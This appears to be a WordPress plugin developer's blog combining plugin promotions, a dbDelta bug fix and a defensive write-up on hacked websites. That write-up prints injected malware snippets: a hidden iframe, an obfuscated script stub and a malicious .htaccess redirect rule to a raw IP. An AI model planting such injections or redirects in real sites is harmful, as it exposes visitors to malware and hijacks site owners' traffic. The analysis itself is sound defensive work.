We have just reached 5,000 downloads of Advanced Events Registration, the premiere event registration and management plugin for WordPress.

To celebrate, we offering $10 off the purchase price of premium version of the plugin, to the first 50 people! Use the discount code AER5000 to claim your discount at the time of purchase. Order now and you will also get a first look at version 3* of the new Event Espresso plugin.

*Everyone who has purchased the Advanced Events Registration plugin will also get a free upgrade to the new version shortly after release.

Many of you have been using the WordPress forums to ask your questions about the Advanced Events Registration plugin. The only problem with that is that I don’t know anyone has posted anything there. I try to login and check every once in a while, but that is very inefficient and some questions go unanswered. I am hoping to change this with our new forums.

So please head on over and say hello, leave us some feedback in the “Suggestion Box” or show off your site in the new “Website Showcase.”

WP-Junkie Shoping Cart Example

Tired of adding lots of HTML button code to WordPress posts and pages?

Introducing WP E-Junkie, a quick and easy to use solution for selling product downloads using the WP E-Junkie Shopping Cart system and WordPress. All you need is an E-Junkie account, your E-junkie client id and a self hosted WordPress website.

Buttons are easily added to a post/page by pasting a small shortcode containing the product id any of your products hosted on E-Junkie.com.

The plugin is totally free and custom buttons can even be added via the plugin settings page!

Check out the new WP E-Junkie Shopping Cart, view screen shots, or see the plugin in action.

Apparently several people have had the misfortune of downloading a pirated version of my Advanced Events Registration plugin from some file sharing websites. One person’s site was entirely overwritten with spam posts and links pirated software. While another persons entire website was completely wiped out.

The website owner (whom I wont mention here) actually threatened to sue me because five years worth of content was completely removed from their blog. When I asked for a copy of their receipt from the purchase of the premium plugin. The person stated they had downloaded it from a free file hosting website. Can you believe it! So I stated the obvious, “You didn’t purchase the plugin from my website, so you will need to contact whomever you received the files from. I am not responsible for code that may be distributed by outside sources.”

Moral of the story:

Premium plugins and themes may be GPL licensed (or not in some cases.) Unless you get them from a trusted source, you may be taking a major risk using them.

Related information:

How Downloading a Premium Theme/Plugin From the Wrong Place Can Ruin Your Site

Downloading a Premium Theme from the Wrong Site can be Expensive

Download Free Premium WordPress theme :What’s the Catch?

WordPress Premium Developer and Author Piracy My Thoughts

The Ethics of WordPress Themes at a Premium

Authorize.net is not the only thing that is new. I have released several other new addons recently as well. I added a “Member Integration Module” and a “Custom Files Addon” to the list of available features for the pro version of the plugin. Be sure to visit the pro version page to see more!

Come to find out I was missing a space between a ‘“‘ and a ‘(‘ as seen below.

$sql_create_table = "CREATE TABLE " . $wp_table_name . "( " . $sql . " );";

Here is how it should have looked:

$sql_create_table = "CREATE TABLE " . $wp_table_name . "  (  " . $sql . "  )  ;";

Notice the spaces highlighted in green? That was the killer. So for a while, every time I added a new field to a table in database install file. For a while I was using a function (seen below) to alter the table and add the new fields.

function add_column_if_not_exist($db, $column, $column_attr = "VARCHAR( 255 ) NULL" ){
global $wpdb;
$exists = false;
$columns = $wpdb->query("show columns from $db");
while($c = $wpdb->get_row($columns)){
if($c['Field'] == $column){
$exists = true;
break;
}
}
if(!$exists){
if (!$wpdb->query("ALTER TABLE `$db` ADD `$column`  $column_attr")){
$error = 'There was a problem adding columns to the database.';
}
}
return $error;
}

So, if you are having trouble with the dbDelta function when writing a Wrodpress plugin. Be aware of extra spaces

Here is more information about the dbDelta function and creating tables with plugins:

http://codex.wordpress.org/Creating_Tables_with_Plugins

http://wordpress.org/tags/dbdelta-1

http://hungred.com/how-to/wordpress-dbdelta-function/

http://designoplasty.com/2009/05/15/not-using-dbdelta-with-wordpress/

Creating Login Panel with jQuery and CSS

Mohit Aneja over at CSS Jockey has created a pretty nice looking sliding login panel using Jquery and CSS. The sliding login panel is similiar to what can be seen on Twitter and few other popular websites. The script looks pretty lightweight, easy to use and is well documented.  I may be using it soon (when I get around to re-designing this site.)

Check it out the full article here:

http://www.cssjockey.com/coding/jquery-css-login-panel

Most of the hacked websites were running WordPress, so my first thought that it was some kind of security exploit in WordPress. Then I was asked to investigate of a few static HTML or PHP driven websites without WordPress installations. All of the hacks were very similar and had their index.php, index.html, and .htaccess files modified. In the index.php and index.html files there was javascript code and iframe virus codes appended to the end of the file that would try to install different variants of badware/malware to unsuspecting visitors. I even seen a file that had stripped out part of the code within the file and replaced it with the malicious javascript and  iframe virus browser exploits. Therefore completely breaking the file (luckily we had a backup of the now broken file and were able to to get the site working again.)

The funny thing is that some of the these exploits were done sloppily and actually exposed the malicious code that was appended to the end of the file. The malicious code had been placed at the end of the file right after the </html> tag.

Here is how the code looked:

</html>iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe>

or

</html>script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... (which would then show all of the html in the hack)

Instead of:
</html><iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe>

or

</html><script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){...

After removing the infected code from the files the hackers went after the .htaccess files of some of the websites by downloading, deleting and re-uploading the new file with redirects (sometimes 2-3 times a day.) So that if someone performs a search on Google (or most of its competitors) and your website comes up for a searched term, the unsuspecting user would be redirected to a porn website or a malicious website serving up viruses and badware etc.

Example of hacked .htaccess file:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]


Image of .htaccess Attacks

Upon investigation, I found out that the hacks may have come from some kind of spyware or trojan installed a clients  or a coworkers computer. The spyware  looks for ftp user names and passwords on the computer that it has infected. It logs into your server via ftp (using several different dynamic ip addresses) and downloads a file (usually .htaccess and index.php files), adds malicious code to the file, deletes the old file on your server, then uploads the new file. The entire process of downloading, deleting, and re-uploading takes around 2 seconds!

To help prevent these attacks. Scan your PC with an updated AV and Malware scanner in safe mode.  From my experience with malware of this nature, the user account passwords are compromised though viruses/malware located on your local computer. This malware sniffs out passwords used and stored by FTP programs located on the computer. In order to protect against future attack, you will need to run full virus and malware scans on your computers to ensure that they are clean. I recommend using multiple scanners as we have found that some scanners do not detect the malware. MalwareBytes ( http://www.malwarebytes.org/ ) and ComboFix ( http://www.bleepingcomputer.com/combofix/how-to-use-combofix ) have been reported to be able to clean this malware.  Microsoft recently released an AV/Malware package at: http://www.microsoft.com/security_essentials

More info:

http://www.websitesforsaleworld.co.uk/blog/2010/02/securing-your-wordpress-blog-from-attack/

http://www.techjaws.com/new-php-exploit-on-the-loose/

http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/

http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/

http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/

Event Listings and Registration Pages

This WordPress plugin provides a way to take online registrations for events such as conference and seminars that are held live. Events are managed quickly and easily from within the WordPress dashboard.

The plugin also uses the PayPal IPN to record payments to the built in WordPress database. It allows you to capture the registering persons contact information to the WordPress database as well as provides the ability to send the registrar to your PayPal payment site for online collection of event fees. PayPal payments are captured to the database using the PayPal Standard IPN.

Reporting features provide a list of events, list of attendees, and excel export.

Download Plugin | View Example (free version) | Upgrade to Pro Version | Support Forum | Comment

If you like this plugin, please consider making a small donation or clicking on a few of the ads displayed on the site.

Installation:

1. After unzipping, upload everything in the ‘paypal-events-registration’ folder to your ‘/wp-content/plugins/’ directory (preserving directory structure).
2. Activate the plugin through the ‘Plugins’ menu in WordPress.
3. Go to the Event Registration Menu and Configure Organization and enter your company info – note you will need a PayPal id if you plan on accepting PayPal payments
4. Go to the Event Setup and create a new event, make sure you select ‘make active’.
5. Create a new page (not post) on your site. Put {EVENTREGIS} in it on a line by itself.

Note: if you are upgradings from a previous version please backup your data prior to upgrade.

If you have watched the video below and are having trouble installing the plugin or just need additional support. Please visit our “Premium Support” page or view the FAQ below.

Setting up the Plugin

Frequently Asked Questions:
To use, create a new page with only  {EVENTREGIS}

To display list of attendees of an active event use {EVENTATTENDEES} on a page or post.

*For URL link back to the payment/thank you page use  {EVENTREGPAY} on a new page.

*For PayPal to notify about payment confirmation use  {EVENTPAYPALTXN} on a new page.

*This page should be hidden from from your navigation menu. Exclude pages by using the ‘Exclude Pages‘ plugin from http://wordpress.org/extend/plugins/exclude-pages/ or using the ‘exclude’ parameter in your ‘wp_list_pages’ template tag. Please refer to http://codex.wordpress.org/Template_Tags/wp_list_pages for more information about excluding pages.

Email Confirmations:
For customized confirmation emails, the following tags can be placed in the email form and they will pull data from the database to include in the email.

[fname], [lname], [phone], [event],[description], [cost], [company], [co_add1], [co_add2], [co_city],[co_state], [co_zip],[contact], [payment_url], [start_date], [start_time], [end_date], [end_time]

Sample Mail Send:

***This is an automated response – Do Not Reply***

Thank you [fname] [lname] for registering for [event].  We hope that you will find this event both informative and enjoyable.  Should have any questions, please contact [contact].

If you have not done so already, please submit your payment in the amount of [cost].

Click here to review your payment information [payment_url].

Thank You.

Attendees and Payments

Screenshot of Events Registration with IPN Pro using the Calendar (Pro Version)

Screenshot of some Event Setup Options (Pro Version)

Events and Payments

Attention:
If you haven’t noticed, the WordPress plugin “Events Registration with PayPal IPN” is no longer available for download on WordPress.org. We found some serious security issues within the plugin (mostly deprecated WordPress database functions) so we decided it best to go ahead and remove the plugin until security was improved.

After a major overhaul of the back-end code we have re-released the plugin under a new name (Advanced Events Registration) and have also released a pro version of the plugin with many additional features.

It is highly recommended that you upgrade to the latest version of the Advanced Events Registration plugin ASAP.